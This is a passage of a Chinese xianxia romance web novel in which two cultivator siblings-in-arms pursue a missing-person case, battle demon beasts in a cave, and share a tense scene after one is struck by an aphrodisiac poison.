叶怀昭觉得还是不对:“那个能将他人记忆储存起来的留影珠——在这乐寿城中,据我所知只有庾家拥有。” “如果你说你家小姐当初在竹林中所见之人就是庾慎,那也就是说这留影珠中的记忆被更改替换过,而正是这改变过的记忆钉死了你家小姐。” 叶怀昭看着阿燕,一字一顿说:“你口中深爱你家小姐的庾公子,亲手按死了赵清浔的死罪。” 那个诉说故事时满脸懵懂的少女茫然了。 好半晌,她才结结巴巴说:“可是,可是庾公子是能为小姐抛弃性命的……他之前甚至冒死去救过魔气不受控制、无差别伤害别人的小姐!” 叶怀昭欲言又止,最后还是叹息一声:“算了,现在的问题不是你家小姐和庾家少爷是否是真爱,而是怎么把你家小姐救出来。” 阿燕:“这些还不够吗?徐公子所说的这些证据都是假的呀。” 叶怀昭摇头:“只有这些的话,直接让你家小姐不被立刻动刑,真正想让她出来还需要另外的证据。” “比如,那个在这场事件中,隐身了数日的徐二公子。” 一直没有对此发表任何意见的谢迟云弯唇笑了一声,声音温和道:“关于这位徐二公子的踪迹,或许我这里有些消息。” 在叶怀昭看过来时,银色的灵力倾泻而出,在地面上落下深深浅浅的印记。 在这其中,唯有一道掺杂着浑浊墨色的印记分外显眼,一路延伸着拐向院落之外。 “我找到徐二公子的位置了。”他说。【魔蝎小说 mo xie xs .c om】 22-30 第22章 第二十二章(三合一)似咬似吮的吻…… 从赵府离开后,两人先是去了一趟城主府。 正如叶怀昭对阿燕所说的那样,光凭阿燕口说的证据无法证明留影珠的记忆就是编造的,赵清浔依旧要被关在牢狱中。 城主只答应在他们找到徐规之前,不会处决赵清浔。 叶怀昭对此没有别的意见,将阿燕安置好后,便打算和谢迟云离开城主府。 而庾慎就是在这时候出现的。 叶怀昭也不着急走了,她站在城主府的前院好整以暇说:“这不是庾大公子嘛,这么匆忙,可是有什么急事?” 庾慎隔了很远就看见了站在城主府院中的那个红裙少女。 他直觉叶怀昭对他很有敌意,而他也不是很想去触那个霉头,于是特意放慢了脚步,就是想要等对方走了自己再过去。 结果还是被叶怀昭抓住了。 他在心中暗骂一声,面上还要挤出一个温和有礼的微笑,不情不愿走过去说:“听说此次失踪案的真凶找到了,庾某正要去向城主询问此事详情。” 叶怀昭盯着他:“庾城主还有什么好问的?” 庾慎一怔:“叶仙君这是何意?” “没有什么意思。”叶怀昭弯了弯唇,甜蜜地笑了起来。她伸手拍了拍对方的肩膀,听到对方不堪重负闷哼一声后,语气轻快道,“只是提前祝贺庾公子荣登城主之位。” 按照如今形式所见,庾慎极有可能是下一任乐寿城城主。 庾慎捂着隐隐作痛的右肩膀,咬牙说:“叶仙君这是准备将我屈打成招了?” 叶怀昭:“不要以为世上所有人都如你一般无耻。” “无耻?”庾慎咀嚼着这两个字,他盯着叶怀昭,忽地扯起唇角笑了起来。 “叶仙君,我从未用过这种招数去对付别人。”他轻声说,“无论您信或不信,犯下此次失踪案的凶手,最终一定是主动伏诛的。” 叶怀昭偏首看他,唇角一挑刚扯出一个讥讽的弧度,一只强有力的手忽地扣住她的肩膀将她向后扯开,和庾慎拉开距离。 她被迫踉跄了两步,抬头就见一身白衣的男人强硬地插到她和庾慎的空隙中,淡声说: “庾公子,这里是城主府,并非是你庾府。” 他的面上带着不容置疑的微笑,眼中却无端显出冰冷的意味,语含警告之意。 方才被叶怀昭激出火气的庾慎宛如被一盆冷水从头浇到脚,寒毛一根一根立了起来。 他的喉结滚动,咬着后槽牙,重新挂上了那副温和微笑的假面,硬生生从喉咙中挤出话语:“……多谢仙君提醒。” 说罢,也不管那对师兄妹是什么反应,转身大步流星地迈过门槛离开了城主府前院。 谢迟云也转过头,正要开口说话,垂眼便看见了鼓着脸不忿盯着他的师妹。 他顿了一瞬,哑然失笑:“师妹,你生气了吗?” 叶怀昭哼了一声:“没有!” 他怎么回事?不就是和庾慎放几句狠话,就连这种小事都不让她做? 还有之前在赵府时也是,明明只是开玩笑,他就连一句好话都不愿意说? 叶怀昭暗自腹诽,讨厌师兄。 谢迟云看了她几瞬,而后说:“如果不是,那师妹为何一直盯着我?” “难道乘玉仙君的脸不让别人看吗?”叶怀昭说,“怎么啦?眼睛长在我身上,我偏就要看!” 她一面说着,一面故意踮着脚凑近他,努力睁大眼睛,像是不放过一丝一毫的角落般仔仔细细地观察谢迟云的面庞。 男人站在原地一动未动,只勾着眼尾任由她的目光毫不遮掩地一寸寸掠过,甚至还配合地微微俯身,让她看得更清楚一些。 他生了一张俊秀与风流并存,威仪与柔和共生的美人面,近距离看时,那种容颜气质越发摄人心魂。 本应避让的人没有避让,而主动的人反而心中慌乱。 叶怀昭看着看着,莫名觉得自己的脸庞发烫,喉咙发紧。 他怎么连躲都不带躲的! 他不躲我怎么好收回目光啊! 她的视线游移,正要自己给自己 找台阶下,就听谢迟云在耳旁悠悠说道:“看出什么了吗,师妹?” 叶怀昭:“……” 这人怎么这么讨厌! 凭着一股不服输的劲,她强迫自己将视线转了回去,压抑着心中不知从何而起的情绪认真打量着谢迟云。 看着看着,当真让她看出一些问题。 叶怀昭眼中的那些羞耻慌乱渐渐散去,她拧着眉,忽然出声问道:“师兄,你受伤了吗?” 谢迟云微微一怔:“并未。” “怎么可能没受伤?” 叶怀昭一边说着,一边特意用灵识仔细感知着谢迟云周身逸散的灵力波动,越看越觉得诡异。 修仙者依靠吐纳天地间灵力,将其转至丹田后施布术法。 而即便是刚刚迈入修仙之路的初学者也知道,灵力在体内是会进行流窜的,只是速度快慢、能量多少的区别。 这就意味着一个人即便不曾使用术法,周身也会有细微的灵力波动。 而修为越高深、境界越高,逸散而出的灵力也就越微弱,不易被觉察。 按照谢迟云的修为境界,他身周的灵力波动应当不会被天罡境之下的修士觉察。 可如今叶怀昭不仅觉察到了,甚至在她看来逸散而出的灵力还不少。 除了受重伤,还有什么原因会让一个天罡境的修士根本控制不住自己的灵力? 少女脑中飞速思考着,忽然灵光一闪,语气严肃问道: “是不是那只蛊虫?” 叶怀昭也顾不上自己方才还想躲开谢迟云的注视了,直接伸手就去抓他的手腕,灵识顺着他的灵脉探查。 她的话和动作几乎是同时完成的,就连谢迟云一时都没有躲开,当他反应过来挣开叶怀昭的右手时,后者的灵识早已在他的体内转了一圈了。 叶怀昭因为他的动作而向后踉跄退了两步。 若是在平时谢迟云敢对她动手,她定然不管三七二十一先和人打一架再说。 可此时她的心神已经完全被震惊所占据。 “你体内的灵力怎么那么混乱?”她忍不住问道,“那只蛊虫在你体内流窜了?还是说有什么术法一直在攻击你的灵脉?” 谢迟云将被她揉乱的衣袖拉下,垂眼说:“师妹,你看错了,并没有你说的那么严重。” 叶怀昭被他气笑了:“你怀疑我的灵识?你竟然敢怀疑我的医术?!” “我没有怀疑师妹的医术,”谢迟云直勾勾看着她,“只是我方才心神不宁,没能控制住自己的灵力。” 她气得直跺脚:“你在说什么鬼话?堂堂乘玉仙君会控制不住自己的灵力?你有什么好心神不宁的!” “因为师妹方才在盯着我看。”谢迟云冷不丁说,“师妹挨得我太近,违背之前说男女有别的距离了,我不太适应。” 叶怀昭:“……” 叶怀昭:“…………” 她像是被人迎面打了一拳,整个人有一种踩在云雾中晕乎乎的感觉。既是匪夷所思,又觉得似乎有点道理。 谢迟云会是因为别人和他挨得太近所以觉得难为情的人吗? 叶怀昭认真思索了一下,发现自己现存的记忆中似乎还真没有谢迟云和谁距离过近的情况。 “哦、哦,”叶怀昭如梦初醒,看到谢迟云像是松了一口气的样子后更尴尬了,“我不是故意的。” 她揪着衣角,忽然又反应过来:“不对!你不要转移话题,伸手,让我再看看!” 叶怀昭说着,伸手就要去抓谢迟云的手腕。 但早有防备的男人根本就不给她机会,每一次都巧妙地从她的手中挣脱。 这样来回几番后叶怀昭硬是被他激出了火气。 “你跑什么!” 她恼怒地扒拉着谢迟云的衣袖,不顾对方无奈的“师妹,我当真没事”。 就在叶怀昭将要抓住谢迟云时,两人的身后忽地重重响起一道刻意的咳嗽声。 两个人同时回头。 在屋中隔着窗子看了半天拉拉扯扯,还是没忍住走出来的桑春一脸无语。 她用目光示意了一下叶怀昭抓着谢迟云衣襟的手:“大庭广众之下……这样不好吧?” 叶怀昭:“……” 她被桑春的目光看得浑身打了个激灵,终于如梦初醒,手中顿时像是拿了个烫手山芋般松也不是握也不是。 桑春欲言又止,最后只叹息一声道:“虽然现在院中没人,但还是不太好吧……有事能不能去屋中做?” 叶怀昭终于忍不住了。 她面红耳赤,扑过去就要去捂桑春的嘴:“不是你想的那样啊!” 她抓狂道:“我只是想给他看病,我们什么也没想做!” 桑春不语,只是用微妙的目光示意叶怀昭去看她身后的谢迟云。 只见乘玉仙君脸庞泛着淡淡的红色,衣襟被揉乱,露出一小截如玉的锁骨,腰间的玉佩也不翼而飞,瞧上去就像是个被无辜蹂躏的良家妇男一般可怜地站在原地。 看见叶怀昭重新望向他,男人一边伸手拽住衣襟,一边用无奈的语气说:“师妹,我答应你便是了。” 叶怀昭下意识蜷缩了手指,手掌忽地一凉。 她抬起手,那枚本应挂在自己师兄腰间的温润冰凉的玉佩正被她握在手中,其下悬坠的穗子紧紧缠在叶怀昭的手指上。 桑春顺着她抬手的动作也发现了她手中的玉佩,忽地醍醐灌顶般顿悟了。 她骂道:“你这个榆木脑袋!” 叶怀昭:“?” 你骂我干什么? 叶怀昭还没开口,就被桑春扯过去,听到她在耳边说:“他都说他答应了,你就别对人家用强的吧,我看他根本就是乐在其中啊。” 叶怀昭气得上蹿下跳,抓狂说:“我没有!!!” 她觉得自己现在跳进黄河都洗不清了,可他们就是什么都没做啊!那只是意外而已! 叶怀昭试图向桑春解释,可她越描越黑,越说越觉得绝望。 她根本就没注意到桑春的最后一句话,反而是谢迟云目光微闪,向桑春的方向看了一眼。 他将被师妹抓出来的褶皱一寸寸抚平,在叶怀昭崩溃的解释声中,忽地出声道:“师妹,我们该走了。” 叶怀昭现在一点也不想和他走。 但此时她更不想面对桑春一脸“我悟了”的表情——她到底悟到什么了?! 于是她反手甩开桑春,一溜烟地窜到了谢迟云身后,干巴巴地说:“对、对,我们要去找徐规来着。” 她从未有一刻像是现在这样想逃跑。 桑春停在原地,视线在谢迟云的身上转了一圈,而后重新落在叶怀昭身上。 她捏着自己的下巴,在叶怀昭紧张注视下,说出的倒是一句无比正常的话:“既然你要出门,那我等你回来再说吧。” 叶怀昭:“啊?你要说什么?” 桑春眨了下眼睛:“你现在可能不太想听的事情。” 叶怀昭迅速转身:“那你还是等我回来再说吧。” 去找徐规的路上,叶怀昭还是再次给谢迟云把了一次脉。 这次的脉象正常得像是叶怀昭之前生出错觉一样,正常得几乎能被她师尊拿来当授课时的案例。 谢迟云收回手,看着叶怀昭怀疑的表情说:“师妹,我的确无事。” 叶怀昭想了半天也没想出来结果,只好接受了这个答案。 算了,反正谢迟云要是有什么问题,她爹肯定知道,既然她爹知道,那师尊肯定也知道。 既然师尊从来没说什么,那估计就是没什么大事吧。 叶怀昭勉勉强强给自己找了理由,忽然想起什么似的猛地抬头,正色说:“师兄,我刚刚真的只是想给你把脉,没有别的意思。” 谢迟云:“我知道。” 他接过叶怀昭手中的玉佩,倒是没有重新戴上,而是收回了乾坤袋中。 做完这个动作后,他才撩起眼皮含笑说:“我知道师妹心思纯净,别无杂念。” 叶怀昭抿唇,忽地扯开话题问道:“师兄怎么知道徐规在哪的?” 谢迟云顺从地回答说:“之前我在徐规最后失踪的位置布下过阵法,只要阵法捕捉到周围有徐规的灵力波动,便会立刻将其记录固定。” “方才阵法被触动了。”他平静说,“虽然不知是否是个陷阱,但总归要去看一看的。” 叶怀昭回过神来,问他:“师兄也觉得徐规的事情很奇怪?” “不是奇怪,”谢迟云缓缓摇头,“而是太顺利了。” 从徐府开始寻找线索,一路找到赵府发现赵清洵和庾慎的事情,最后发现庾慎伪造证据。 这么多的线索出现,甚至发现比赵清洵更有嫌疑的真凶,只过去了仅仅半日。 即便叶怀昭对自己和谢迟云再有信心,她也不能昧着良心说自己能半日时间就解决乐寿城数月也没能解开的悬案。 事出反常必有妖,正如谢迟云所说那样,他们能这么快地发现真凶本就有问题。 很显然,那个真正的幕后之人对此似乎也没有什么隐瞒的心思,非常直白地在此时放出了徐规这一步棋。 无论是叶怀昭还是谢迟云都清楚,去救徐规这件事就是一个陷阱。 但就算是陷阱又能怎样? 若是想彻底解决乐寿城的事情,他们必须亲自去踏入这道陷阱。 叶怀昭说:“或许这一切就是徐规本人所布下的?” 她兴致勃勃地分析:“假定这一切都是徐规做的,他在最后故意让那些魔族把他绑了,将黑锅全部推到庾慎身上,然后他再被我们救出。他不费吹灰之力,既扫除了敌人,又收获了名誉,甚至还能得到赵清洵的芳心,多么一举三得的事情!” 谢迟云:“那庾慎伪造证据的事情又如何算?” 叶怀昭:“唔,那就是他们两个人共同作案,最后互相抹黑,看谁道高一尺。” 谢迟云:“但这样的话,赵姑娘就只是牺牲品了。” 叶怀昭冷哼一声:“所以我说这两人都不是什么好东西啊。” 阿燕那个小孩还觉得这两个大少爷都喜欢自己小姐,但在叶怀昭看来,这两个人都是只考虑自己、自私自利的混账。 说话间乐寿城渐渐被两人抛在身后,大片的山雾缭绕在眼前,隐约可见下方缓慢起伏的山峦。 叶怀昭慢慢自空中落地,踩在湿润的泥土打量着周围环境。 这是乐寿城外一处人迹罕至的树林,各处都是干枯坠落的树叶,在地上铺满了整整一层,踩上去发出细碎的声响。 “就是这里?”叶怀昭左右看看,“好像也没什么特别的。” 谢迟云:“印迹在这里就消失了。” 叶怀昭:“可这里一个人也没有啊。” 说完这句话,两人对视一眼,同时意识到了什么。 而后,叶怀昭默默向后退了一步,为谢迟云让出场地。 寂静无声的树林中忽地凭空升起一道气流,枯叶旋转着向半空中飞起,磅礴浩荡的银色灵力在枯叶的间隙中穿梭,划出无数繁复的咒术纹样。 白衣青年立于龙卷风的前端,衣袂在风中猎猎作响。 随着灵力的持续输出,叶怀昭眼前薄雾似的云霭似乎也慢慢凝滞。 谢迟云额心一点赤红越发鲜艳,他面容沉静地注视着面前的浩荡阵法,低声吐出一字: “破。” 流淌在空气中的灵力刹那间迸发出刺目光芒,虚幻的剑气激荡,席卷至半空的枯叶在一瞬间破裂粉碎,被灵力裹挟着攻向地面。 似是满山树林震颤,地面之上层层落下的禁咒轰然破碎,无数鸟雀被巨大的声音惊起,一瞬间掠过头顶时遮天蔽日。 昏暗的光亮中,叶怀昭迟缓地眨了一下眼睛。 她知道谢迟云早在三年前就已突破了天罡境。 她也知道谢迟云是当世剑圣之下的剑修第一人。 可这些认知对叶怀昭而言只是一个落在谢迟云身上的附庸,她不是剑修,她不清楚谢迟云对其他剑修而言意味着什么,谢迟云本人也从未在她的面前表现过自己在修为方面的天资。 而此时,巨大的长剑虚影悬停于男人的身后,银色的流光几乎将整片昏暗的树林都照亮。 此时此刻,他便是唯一的明月。 大地的震颤依旧没有停止,那一声一声的轰鸣自遥远的远端传来,与叶怀昭一声又一声,砰砰的心跳声共振。 风波气流之中,当世剑修第一人忽地侧首,那双浅色的眼瞳落在怔怔望着他的少女身上。 “伤到你了吗,师妹?” 远处的风声呼啸凌厉,可他的声音却是如水的温和平静。 叶怀昭回过神来,不自在地摸着自己手腕上的镯子,停顿一瞬后说:“没有伤到。师兄,你刚刚动静太大啦。” “好像是有些。”谢迟云挥手散去剑意,眼含笑意,“不过,师妹喜欢就好。” 【师妹喜欢就好。】 谢迟云的声音回荡在树林中,而叶怀昭几乎是在听到这句话的第一时间就如同被踩到脚一样炸毛道:“什么?我什么时候说喜欢了?!” 她结结巴巴说:“那、那是欣赏!是一个医修对一个剑修的惊叹!” 谢迟云任由她绞尽脑汁地解释,叶怀昭说了整整一长串,说得自己都说服了自己,才偷偷松了一口气。 然而她这口气还没松完,就听自己师兄慢悠悠说:“但是我方才听见你在心里说——” “纵然是霜华倾落,也不抵乘玉仙君剑锋寒光。” 他看向已经完全僵直在原地的叶怀昭,状似不解:“师妹这句话是什么意思呢?” 叶怀昭:“……” 她沉默地闭上了嘴。 叶怀昭几乎要将一口银牙咬碎,极为生硬地转移话题,语气硬邦邦说:“谢师兄,这底下有路,想必徐规就在这下面,我先走一步了。” 说罢,她逃也似地御风冲进了被谢迟云强行轰开的地洞。 恰好地洞中有数十只妖兽因为听见外界动静而嘶鸣着,她干脆一不做二不休,旋身落地后立刻展开毒雾。 与谢迟云截然不同的赤色红光在地洞中迅速扩散,每吞没一只妖兽,便有一道凄厉的惨叫声响起。 殷红的鲜血瞬间洒了满地,将漆黑的巨石也浸染了一层湿润的暗色光芒。鲜血带着残肢落入地洞中的暗河,溅起一片水花。 谢迟云特意在上方等了片刻才慢吞吞下来,看见的就是蹲在一片残肢断臂中专注打量妖兽的少女。 她的衣裙上依旧干净整洁,连裙摆都没有沾上一点血污,唯独双手上浸染了殷红血迹。 他等叶怀昭将手上血迹用术法清理干净后,才走过去说道:“这地洞下的妖兽像是从魔界跑来的。” 叶怀昭目不斜视:“我刚刚就发觉了,这处地洞应该是那些魔族真正的藏身处,到处都是残留的魔气。” “只是不知道他们还在不在这里。”她说着,忽地猛地向不远处的洞口甩出数根毒针,冷呵一声,“谁在那里!” 叶怀昭和谢迟云不约而同地瞬影移至洞口,而那人已经极为狡诈地融化成一滩水消失在原地,只留下一串湿漉漉的痕迹一路延伸进洞穴深处。 叶怀昭和谢迟云对视一眼,立即顺着痕迹向内追去。 那人远比他们两个更加熟悉地洞,一边躲一边还有余力触发各种陷阱来拦截他们,简直令人防不胜防。 叶怀昭前脚跨过地下暗河,转瞬间眼前就被一层猩红色的雾气吞噬,再一眨眼,就连身旁的谢迟云都不见了。 她站在原地没动,忽地看见前方出现一个极为眼熟的人影。 叶怀昭掐诀的手微微一顿,有些诧异地打量着慢慢走来的人。 他的面容白净俊秀,眼珠如浅色的剔透琉璃,像是从白纸墨迹的素雅山水画中走出来的谪仙。 叶怀昭盯着他额间的朱砂痣,迟疑地叫了一声:“谢迟云?” 大约才十二三岁的少年抬头看她,声音冷淡:“你不应该来这里的。” 叶怀昭知道这是幻象,可她还是好奇问道:“为什么?” “谢迟云”:“因为他会害死你。” 叶怀昭:“他是谁?” 少年一言不发,忽地甩手出现一把长剑,动 作凶戾地便直攻她的命脉。 叶怀昭轻啧一声,先是扔出几道毒针将他手中长剑弹飞出去,不等对方近身便低声喝道:“风来。” 洞穴之中忽地凭空升起凌厉的气流,呼啸着在叶怀昭的面前飞起,瞬间将那个与谢迟云一模一样的少年绞杀。 气流涌动间,猩红色的雾气也慢慢散去,叶怀昭刚要放下心来耳尖忽地一动,下意识反手将其按在石壁上:“——怎么又来?” “师妹,”来人闷哼一声,无奈说,“是我。” 星星点点的赤色火焰在他的身旁升起,叶怀昭抬头,看到了极熟悉的一双浅色眼瞳。 “师兄?”叶怀昭仔细观察了片刻,这才松开横在他脖颈间的长剑,嘀咕一句,“你走路怎么连声音都没有。” 她说:“我方才好像看到了幻象,你刚刚去哪里了?” “和幻象中的人打了一架。”谢迟云轻声说着,“出来后便看到了师妹。” 叶怀昭“哦”了一声,她本来还想说几句自己方才看到的谢迟云少年时候的事情,忽地想起什么似的猛地转头,看向谢迟云,“你有没有觉得不舒服?” 谢迟云没有正面回答,而是问道:“师妹这是何意?” 叶怀昭说:“这周围都是魔气,若是修仙者不小心吸收了容易和灵力相冲,造成灵力混乱。” “你刚刚是不是使用灵力了?” 她一边问一边下意识地观察着谢迟云身周的灵力波动,发现还是在正常范围内后才松了口气。 叶怀昭叮嘱道:“在这种地方要尽量减少灵力的使用。” 她顺手给谢迟云加了一道防护。 谢迟云从被她推到石壁上后就没有动,此时垂着眼睛看着她的手指,说:“师妹不给自己加防护吗?” “我不需要。”叶怀昭摆摆手,“魔气对我的影响不大。” 她想了想,忽然抬手解开了自己手腕上刚刚收起来的听白剑。 “让你动手的动静太大了,不要老是这么无节制的用灵力,你的灵力难道很多吗?”她不客气地说了一通,然后道,“我的听白剑暂且借给师兄,等出了地洞后一定还我。” 谢迟云:“我……” “不许说谢谢!”叶怀昭忽地转头,狠狠瞪了一眼谢迟云,“我也不是白借给你剑的。” 谢迟云看着她:“师妹想要我拿什么来换?” 叶怀昭早有预谋,毫不犹豫说:“不许用灵力强压住心神波动!” 她鼓着脸颊,嘟囔着:“凭什么每次都是你听到我的心声,我就总是听不到你的。这不公平。” 只要是人就会有喜怒哀乐,只要是人心神就会波动。 但是纵观她和谢迟云中蛊后到现在,她的心声已经数次被谢迟云听到过,可谢迟云的心声迄今为止她只听到过一次,还是对方没有防备时听到的。 这一点都不合理! 叶怀昭思来想去,认为是谢迟云强行压住了自己的心神波动。 让谢迟云不听她的心声做不到,但是他总能做到不压抑自己吧? “而且有什么是不能被我听到的?”叶怀昭说着,忽地怀疑地眯了眯眼睛,“你该不是总是在心中偷偷骂我吧?” 谢迟云看着叶怀昭:“我从未骂过师妹。” “那你还有什么好隐瞒的?”叶怀昭嘀嘀咕咕,“你的心声是多么见不得人的念头吗?” 谢迟云:“师妹不想让我隐瞒?” 叶怀昭:“不是这个意思!” 她拧着眉,努力组织自己的语言:“我知道谁都不想让别人知道自己的内心所想,可这也不代表需要无时无刻都压抑自己作为‘人’必要的情感波动啊。” “师兄,你不觉得这样很累吗?”她转头对谢迟云说。 谢迟云安静地看着她明亮清澈的眼眸,忽然说:“可师妹也不想让我听到你的心声。” “我的确不想,但那又怎样?”叶怀昭不停歇地说,“身中蛊虫已是既定事实,无法改变。若是师尊一直没有找到解开的方法,难不成我要一辈子都在心中伪装出来另一个自己?” 她摇摇头:“我不要,我不想。” “况且,”她停顿一瞬,别开眼睛说,“我相信你。” 谢迟云一时之间甚至怀疑自己听错了:“你说什么?” “你这人怎么这样!”叶怀昭猛地回头气呼呼地瞪着他,“我说我相信你,不会因为听到我的心声就利用我去做什么坏事,我在夸你,行了吧!” 叶怀昭照明的赤色火光在她的身周跳跃,柔和的光洒在石壁上,叶怀昭看到,谢迟云肉眼可见地怔住了。 他这是什么反应? 叶怀昭的心中七上八下,拿捏不准谢迟云到底是怎么想的,她抿着唇,干脆一不做二不休,大声说:“我不喜欢你一直压抑自己,我不喜欢你小心翼翼地隐瞒,我不想你这么累!” 她闭着眼睛,破罐子破摔说:“师兄,你为什么不能再信任我一点?” 这句话在叶怀昭心中憋了很久,一口气全部说出来时顿时让她如释重负。 谢迟云是个极有戒备心、很难相信别人的人。 这件事在叶怀昭第一次在丹河秘境见到他时就知道了。 他愿意跨越南北、不辞万里地来救她,愿意照顾她,愿意为她违反门规处理那些弟子。可这并不代表他信任她。 他在叶怀昭面前展示的永远都是一个完美无缺的乘玉仙君,永远都是一个温和有礼的大师兄形象。 若是没有之前偶然泄露的一道心声,叶怀昭几乎以为谢迟云就是这样的完人。 可也正是那一道心声,让她意识到,谢迟云也是一个和她一样的人。 他也有喜怒哀乐、他也有讨厌的事情。 谢迟云从来没有因为以身饲蛊的事情要求过她什么,可叶怀昭不能将此当做什么都没发生一样。 让他无辜被波及已经足够了,叶怀昭不能让他因为蛊虫的事情更增添他本不该有的烦恼和负担。 她想着想着,索性睁开眼睛,在缕缕柔和光线中仰头去看身前的男人,认真盯着他浅色的眼瞳。 “我不想你因为蛊虫的事情而伪装一辈子,”叶怀昭小声说,“如果你能因为信任我而放下一部分的负担,我会努力不辜负你的信任的。” 她犹豫一瞬,再一次问道:“师兄,你愿意信任我吗?” “……” 叶怀昭身前的男人久久没有说话。 空旷无人的洞穴中就连回音都没有,只有两个人交错轻缓的呼吸声。 随着时间推移,叶怀昭原本努力拿出来的勇气一点一点散去了,甚至慢慢被畏惧所吞噬。 不是吧,她在他心中的形象就那么不值得信任吗? 被短暂抛弃的羞耻感像是潮水般一波一波涌来,叶怀昭后知后觉地感到面皮发烫。 她盯了几瞬,忽然咬着唇,甩手扯碎所有亮起的光芒。 黑暗顿时将石壁前的两人吞噬,远处是细微轻缓的暗河流水声。 叶怀昭在黑暗中寻找到谢迟云的眼眸,故作镇静说:“不愿意就不愿意,我也不稀罕。” 她说着,摸索着抓住谢迟云的手臂,然后硬生生从他的手中拽回自己的听白剑。 谢迟云这个混蛋! 叶怀昭在心中骂道,以后你就算跪在我面前求我,我也绝不会救你一次! 可这样想着,她的眼睛却莫名有些发酸,眼前被模糊的雾气笼罩。 叶怀昭狠狠擦了一下眼睛,心想幸亏刚刚我怕丢人所以把光都灭了,要不然丢人死了。 她吸了吸鼻子,转过身正要离开,肩膀忽地被一只从身后伸来的手紧紧抓住。 这只手扣得很紧,如 同铁钳般不让她挪动一步,而后猛地向后使力一拽—— 天旋地转间,少女被垫着后脑按在了石壁上。 黑暗之中什么都看不到,她的眼前只模模糊糊地看到一道轮廓,而那人微微俯身,按在她后脑的手慢慢下移,最终扣住了她的脖颈。 这是一只带着茧子的宽厚手掌,炽热的温度几乎让她有种被烫到的触感。 叶怀昭懵了。 “师、师兄?”她不确定似的,叫了一声。 “我在。” 极近的距离中,她甚至能听到男人胸膛微微的震动。不知为何,这道声音中似乎夹杂着似有似无的沙哑。 叶怀昭靠在石壁上迷茫了一会,才问道:“你怎么了?身体不舒服?” 她还记得自己上一次被对方抱在怀里时,谢迟云的身上冷得像是冰块,怎么现在这么烫? 那只扣在她后脖颈的手指微动,大拇指似有似无地划过她耳后的一小片肌肤。 叶怀昭在这痒意中受不了地抓住他的胳膊,继续问:“你是不是被魔气影响到了?” 她拧着眉,心想若是其他也就罢了,但谢迟云体内的那只双生蛊或许会被魔气催动,难不成现在正处于活跃期? 她懊恼地说:“对不起,我早该想到的。” 她只记得自己不会被影响,却忘记谢迟云虽是天罡境的修士,可他终归不能长久吸收魔气。 “师妹。”谢迟云忽地出声打断了她的话,“你想让我信任你,对吗?” 他怎么还提这事! 叶怀昭本来都决定翻篇了,听到此话又忍不住用小腿踢了他一脚,愤愤说:“我没说过这句话。” 她的头顶上方忽然飘了一道没有压抑的轻笑声。 “我愿意信任师妹。”那道沙哑的声音说,“现在就有一件事,只有师妹能替我来做。” 叶怀昭刚想问什么事,抱住她的男人忽地忍受不住似的闷哼一声。 扣住她脖颈的右手忽然收紧,叶怀昭的呼痛声还来不及溢出唇角,便有一道炽热的呼吸擦过她的唇角,堪堪悬停。 叶怀昭猛然屏住呼吸,眼睛受惊地睁大。 长久压抑的灵力爆发,空气似乎也被灵力完完全全地充盈。属于另外一人的灵力铺天盖地笼罩被男人抵在胸膛和石壁之间的少女。 “只有你能让我体内的蛊虫平息,”黑暗之中,叶怀昭只能看到那双湖水般深邃的浅色眼眸,而那几欲将她淹没,“师妹,你要来救我吗?” 他的灵力暴动了。 他需要一个他完全信任、通晓灵脉的人替他梳理灵力。 叶怀昭混沌的大脑隔了好半晌才明白了他的意思。 她抓住谢迟云手臂的手指颤抖,在这逼人的热潮中,艰难地问道:“那你,为什么要离我这么近?” 她的师兄没有说话。 但叶怀昭方才便在眼眶中打转的泪水,忽地受到刺激似的控制不住地滚落。 她没有忍住,发出一声抽气的声音。 男人尖利的犬牙抵在她的脖颈,落下一个似咬似吮的吻,同时在心中慢慢说道: 【因为我中催情毒了。】 第23章 第二十三章沉溺 叶怀昭从未有一刻像现在这么想死。 她被咬住脖颈时根本没意识到那是什么东西,直到尖利的刺痛感伴随着湿润的触感,才让她意识到: 是谢迟云在咬她。 可他又为什么要咬她? 叶怀昭迷迷糊糊地心想,过量的灵力将她的心神挤压得根本难以思考,只混沌着从鼻腔中溢出来一声闷哼。 又过了两瞬,没得到回答的男人低下头,呼吸尽数扑洒在她的颈窝,又重重咬了她一下。 这一下终于成功唤回了叶怀昭早不知飘到哪里去的神思。 她缓慢地眨了一下眼睛,在一片黑暗的视野中与谢迟云亮得惊人的眼眸对视。 然后,她头皮发麻地开始剧烈挣扎。 “等、等一下!”叶怀昭倒吸冷气,语无伦次说,“我先帮你,我帮你,但是不可以现在!” 谢迟云停住动作,他将扣在少女后颈的右手抽出来,捧着她的侧脸低声说:“你帮我什么?” 他的手掌滚烫,叶怀昭下意识就想躲,又被男人用拇指掌根蹭过耳垂,顿时一股陌生的酥麻痒意冲进大脑,让她动都不敢动了。 她又是好久没说话。 于是谢迟云叹了口气。 他忽然松开了捧着叶怀昭侧脸的右手,向后退了一步。 重获自由的叶怀昭茫然地看着他的动作,不明白他怎么忽然后退了。 谢迟云看着自己师妹在黑暗中依旧莹润泛光的脸庞,停顿一瞬后,他压抑着说:“师妹,我的乾坤袋中有一瓶安神丹。” 叶怀昭:“安神丹?” 谢迟云“嗯”了一声,强令自己撇开视线:“劳烦师妹帮我拿出来,然后离开我一个时辰。在这期间我会努力尝试控制灵力的。” “不行!”叶怀昭条件反射地说,“灵力暴动会让催情毒的毒素更快速地扩散,要是再和双生蛊叠加,你的灵脉很可能就废了!” “可我别无他法。”谢迟云望着她,“这是不需要师妹动手唯一的办法了。” 这一次他开口时的语气很是平静,可其中的话语却直接让叶怀昭浑身打了个激灵。 “师妹,我的意志力没有你想得那么高。”他像是无奈地笑了一声,“灵力混乱和催情毒,你再犹豫一会,我也不知道我会做什么了。” 他垂着头,灵力张牙舞爪地在他的身周肆意,却被男人强行控制着远离石壁前的少女,硬生生为她圈出一个安全自由的角落。 谢迟云的喉结滚动一圈,最后只是缓缓说:“师妹,你要怎么做?” 叶怀昭不自觉地抓紧了自己身后的石壁。 她的掌心感受到尖锐的痛感,凹凸不平的石子深深嵌入皮肉,划出深刻的痕迹。 双生的蛊虫在体内活跃着,血肉骨骼的阻隔在此时尽数被所出同源的蛊虫泯灭,叶怀昭缓慢地呼吸,耳边似乎听到了不属于自己、砰砰的心跳声。 她咬着自己口腔的软肉,忽地向前伸出手。 她的师兄垂眸,看到一截属于少女的、纤细伶仃的手臂,颤抖着攀上他的肩膀。 在只有暗河流淌的幽深洞穴中,他听到师妹说: “师兄,我会帮你的。”- 双生蛊会让两个宿主互相感知到对方的存在。 感知到对方的思绪、情感、想法。 